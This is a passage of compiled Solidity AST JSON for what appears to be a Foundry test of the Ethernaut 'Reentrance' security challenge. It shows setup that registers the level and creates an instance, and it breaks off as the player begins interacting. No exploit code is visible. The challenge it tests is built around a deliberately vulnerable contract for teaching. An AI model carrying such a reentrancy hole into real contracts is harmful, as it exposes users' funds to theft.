odeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49710,"src":"215:10:145","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":63917,"nodeType":"ImportDirective","src":"268:48:145","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"src/levels/base/Level.sol","nameLocation":"-1:-1:-1","scope":64108,"sourceUnit":55509,"symbolAliases":[{"foreign":{"id":63916,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"276:5:145","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":63919,"nodeType":"ImportDirective","src":"317:44:145","nodes":[],"absolutePath":"src/Ethernaut.sol","file":"src/Ethernaut.sol","nameLocation":"-1:-1:-1","scope":64108,"sourceUnit":49102,"symbolAliases":[{"foreign":{"id":63918,"name":"Ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49101,"src":"325:9:145","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":64107,"nodeType":"ContractDefinition","src":"363:1734:145","nodes":[{"id":63926,"nodeType":"VariableDeclaration","src":"408:19:145","nodes":[],"constant":false,"mutability":"mutable","name":"ethernaut","nameLocation":"418:9:145","scope":64107,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},"typeName":{"id":63925,"nodeType":"UserDefinedTypeName","pathNode":{"id":63924,"name":"Ethernaut","nameLocations":["408:9:145"],"nodeType":"IdentifierPath","referencedDeclaration":49101,"src":"408:9:145"},"referencedDeclaration":49101,"src":"408:9:145","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"visibility":"internal"},{"id":63929,"nodeType":"VariableDeclaration","src":"433:19:145","nodes":[],"constant":false,"mutability":"mutable","name":"instance","nameLocation":"444:8:145","scope":64107,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Reentrance_$49710","typeString":"contract Reentrance"},"typeName":{"id":63928,"nodeType":"UserDefinedTypeName","pathNode":{"id":63927,"name":"Reentrance","nameLocations":["433:10:145"],"nodeType":"IdentifierPath","referencedDeclaration":49710,"src":"433:10:145"},"referencedDeclaration":49710,"src":"433:10:145","typeDescriptions":{"typeIdentifier":"t_contract$_Reentrance_$49710","typeString":"contract Reentrance"}},"visibility":"internal"},{"id":63931,"nodeType":"VariableDeclaration","src":"459:21:145","nodes":[],"constant":false,"mutability":"mutable","name":"owner","nameLocation":"475:5:145","scope":64107,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":63930,"name":"address","nodeType":"ElementaryTypeName","src":"459:15:145","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":63933,"nodeType":"VariableDeclaration","src":"486:22:145","nodes":[],"constant":false,"mutability":"mutable","name":"player","nameLocation":"502:6:145","scope":64107,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":63932,"name":"address","nodeType":"ElementaryTypeName","src":"486:15:145","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":64036,"nodeType":"FunctionDefinition","src":"695:628:145","nodes":[],"body":{"id":64035,"nodeType":"Block","src":"719:604:145","nodes":[],"statements":[{"assignments":[63938],"declarations":[{"constant":false,"id":63938,"mutability":"mutable","name":"users","nameLocation":"754:5:145","nodeType":"VariableDeclaration","scope":64035,"src":"729:30:145","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[]"},"typeName":{"baseType":{"id":63936,"name":"address","nodeType":"ElementaryTypeName","src":"729:15:145","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":63937,"nodeType":"ArrayTypeName","src":"729:17:145","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_storage_ptr","typeString":"address payable[]"}},"visibility":"internal"}],"id":63942,"initialValue":{"arguments":[{"hexValue":"32","id":63940,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"774:1:145","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"}],"id":63939,"name":"createUsers","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66448,"src":"762:11:145","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_uint256_$returns$_t_array$_t_address_payable_$dyn_memory_ptr_$","typeString":"function (uint256) returns (address payable[] memory)"}},"id":63941,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"762:14:145","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"nodeType":"VariableDeclarationStatement","src":"729:47:145"},{"expression":{"id":63947,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":63943,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63931,"src":"787:5:145","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":63944,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63938,"src":"795:5:145","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":63946,"indexExpression":{"hexValue":"30","id":63945,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"801:1:145","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"795:8:145","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"787:16:145","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":63948,"nodeType":"ExpressionStatement","src":"787:16:145"},{"expression":{"arguments":[{"id":63952,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63931,"src":"822:5:145","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"4f776e6572","id":63953,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"829:7:145","typeDescriptions":{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""},"value":"Owner"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""}],"expression":{"id":63949,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"813:2:145","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":63951,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"816:5:145","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"813:8:145","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":63954,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"813:24:145","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63955,"nodeType":"ExpressionStatement","src":"813:24:145"},{"expression":{"id":63960,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":63956,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63933,"src":"848:6:145","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":63957,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63938,"src":"857:5:145","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":63959,"indexExpression":{"hexValue":"31","id":63958,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"863:1:145","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"857:8:145","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"848:17:145","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":63961,"nodeType":"ExpressionStatement","src":"848:17:145"},{"expression":{"arguments":[{"id":63965,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63933,"src":"884:6:145","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"506c61796572","id":63966,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"892:8:145","typeDescriptions":{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""},"value":"Player"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""}],"expression":{"id":63962,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"875:2:145","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":63964,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"878:5:145","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"875:8:145","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":63967,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"875:26:145","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63968,"nodeType":"ExpressionStatement","src":"875:26:145"},{"expression":{"arguments":[{"id":63972,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63931,"src":"926:5:145","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":63969,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"912:2:145","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":63971,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"915:10:145","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"912:13:145","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":63973,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"912:20:145","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63974,"nodeType":"ExpressionStatement","src":"912:20:145"},{"expression":{"id":63979,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":63975,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63926,"src":"942:9:145","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":63977,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63931,"src":"981:5:145","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":63976,"name":"getEthernautWithStatsProxy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66624,"src":"954:26:145","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$_t_contract$_Ethernaut_$49101_$","typeString":"function (address) returns (contract Ethernaut)"}},"id":63978,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"954:33:145","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"src":"942:45:145","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":63980,"nodeType":"ExpressionStatement","src":"942:45:145"},{"assignments":[63983],"declarations":[{"constant":false,"id":63983,"mutability":"mutable","name":"factory","nameLocation":"1010:7:145","nodeType":"VariableDeclaration","scope":64035,"src":"997:20:145","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"},"typeName":{"id":63982,"nodeType":"UserDefinedTypeName","pathNode":{"id":63981,"name":"DummyFactory","nameLocations":["997:12:145"],"nodeType":"IdentifierPath","referencedDeclaration":52145,"src":"997:12:145"},"referencedDeclaration":52145,"src":"997:12:145","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}},"visibility":"internal"}],"id":63989,"initialValue":{"arguments":[{"arguments":[{"hexValue":"5265656e7472616e6365466163746f7279","id":63986,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1047:19:145","typeDescriptions":{"typeIdentifier":"t_stringliteral_189198ce8ec9e281114cf26e0fccd3c785742d531357b5c3b70336f03ccfa48a","typeString":"literal_string \"ReentranceFactory\""},"value":"ReentranceFactory"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_189198ce8ec9e281114cf26e0fccd3c785742d531357b5c3b70336f03ccfa48a","typeString":"literal_string \"ReentranceFactory\""}],"id":63985,"name":"getOldFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66672,"src":"1033:13:145","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_string_memory_ptr_$returns$_t_address_$","typeString":"function (string memory) returns (address)"}},"id":63987,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1033:34:145","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":63984,"name":"DummyFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52145,"src":"1020:12:145","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_DummyFactory_$52145_$","typeString":"type(contract DummyFactory)"}},"id":63988,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1020:48:145","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}},"nodeType":"VariableDeclarationStatement","src":"997:71:145"},{"expression":{"arguments":[{"arguments":[{"arguments":[{"id":63996,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63983,"src":"1116:7:145","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}],"id":63995,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1108:7:145","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":63994,"name":"address","nodeType":"ElementaryTypeName","src":"1108:7:145","typeDescriptions":{}}},"id":63997,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1108:16:145","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":63993,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1102:5:145","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":63998,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1102:23:145","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}],"expression":{"id":63990,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63926,"src":"1078:9:145","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":63992,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1088:13:145","memberName":"registerLevel","nodeType":"MemberAccess","referencedDeclaration":48913,"src":"1078:23:145","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_contract$_Level_$55508_$returns$__$","typeString":"function (contract Level) external"}},"id":63999,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1078:48:145","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64000,"nodeType":"ExpressionStatement","src":"1078:48:145"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":64001,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1136:2:145","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":64003,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1139:9:145","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1136:12:145","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":64004,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1136:14:145","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64005,"nodeType":"ExpressionStatement","src":"1136:14:145"},{"expression":{"arguments":[{"id":64009,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63933,"src":"1175:6:145","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":64006,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1161:2:145","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":64008,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1164:10:145","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1161:13:145","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":64010,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1161:21:145","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64011,"nodeType":"ExpressionStatement","src":"1161:21:145"},{"expression":{"id":64028,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":64012,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63929,"src":"1192:8:145","typeDescriptions":{"typeIdentifier":"t_contract$_Reentrance_$49710","typeString":"contract Reentrance"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"arguments":[{"id":64017,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63926,"src":"1242:9:145","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"arguments":[{"id":64021,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63983,"src":"1267:7:145","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}],"id":64020,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1259:7:145","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":64019,"name":"address","nodeType":"ElementaryTypeName","src":"1259:7:145","typeDescriptions":{}}},"id":64022,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1259:16:145","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":64018,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1253:5:145","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":64023,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1253:23:145","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}},{"hexValue":"302e303031","id":64024,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1278:11:145","subdenomination":"ether","typeDescriptions":{"typeIdentifier":"t_rational_1000000000000000_by_1","typeString":"int_const 1000000000000000"},"value":"0.001"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"},{"typeIdentifier":"t_rational_1000000000000000_by_1","typeString":"int_const 1000000000000000"}],"id":64016,"name":"createLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66525,"src":"1222:19:145","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_contract$_Level_$55508_$_t_uint256_$returns$_t_address_$","typeString":"function (contract Ethernaut,contract Level,uint256) returns (address)"}},"id":64025,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1222:68:145","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":64015,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1214:8:145","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":64014,"name":"address","nodeType":"ElementaryTypeName","src":"1214:8:145","stateMutability":"payable","typeDescriptions":{}}},"id":64026,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1214:77:145","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":64013,"name":"Reentrance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49710,"src":"1203:10:145","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Reentrance_$49710_$","typeString":"type(contract Reentrance)"}},"id":64027,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1203:89:145","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Reentrance_$49710","typeString":"contract Reentrance"}},"src":"1192:100:145","typeDescriptions":{"typeIdentifier":"t_contract$_Reentrance_$49710","typeString":"contract Reentrance"}},"id":64029,"nodeType":"ExpressionStatement","src":"1192:100:145"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":64030,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1302:2:145","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":64032,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1305:9:145","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1302:12:145","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":64033,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1302:14:145","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64034,"nodeType":"ExpressionStatement","src":"1302:14:145"}]},"functionSelector":"0a9254e4","implemented":true,"kind":"function","modifiers":[],"name":"setUp","nameLocation":"704:5:145","parameters":{"id":63934,"nodeType":"ParameterList","parameters":[],"src":"709:2:145"},"returnParameters":{"id":63935,"nodeType":"ParameterList","parameters":[],"src":"719:0:145"},"scope":64107,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":64057,"nodeType":"FunctionDefinition","src":"1575:137:145","nodes":[],"body":{"id":64056,"nodeType":"Block","src":"1602:110:145","nodes":[],"statements":[{"expression":{"arguments":[{"id":64043,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63933,"src":"1626:6:145","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":64040,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1612:2:145","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":64042,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1615:10:145","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1612:13:145","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":64044,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1612:21:145","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64045,"nodeType":"ExpressionStatement","src":"1612:21:145"},{"expression":{"arguments":[{"arguments":[{"id":64048,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63926,"src":"1675:9:145","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":64051,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63929,"src":"1694:8:145","typeDescriptions":{"typeIdentifier":"t_contract$_Reentrance_$49710","typeString":"contract Reentrance"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Reentrance_$49710","typeString":"contract Reentrance"}],"id":64050,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1686:7:145","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":64049,"name":"address","nodeType":"ElementaryTypeName","src":"1686:7:145","typeDescriptions":{}}},"id":64052,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1686:17:145","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract 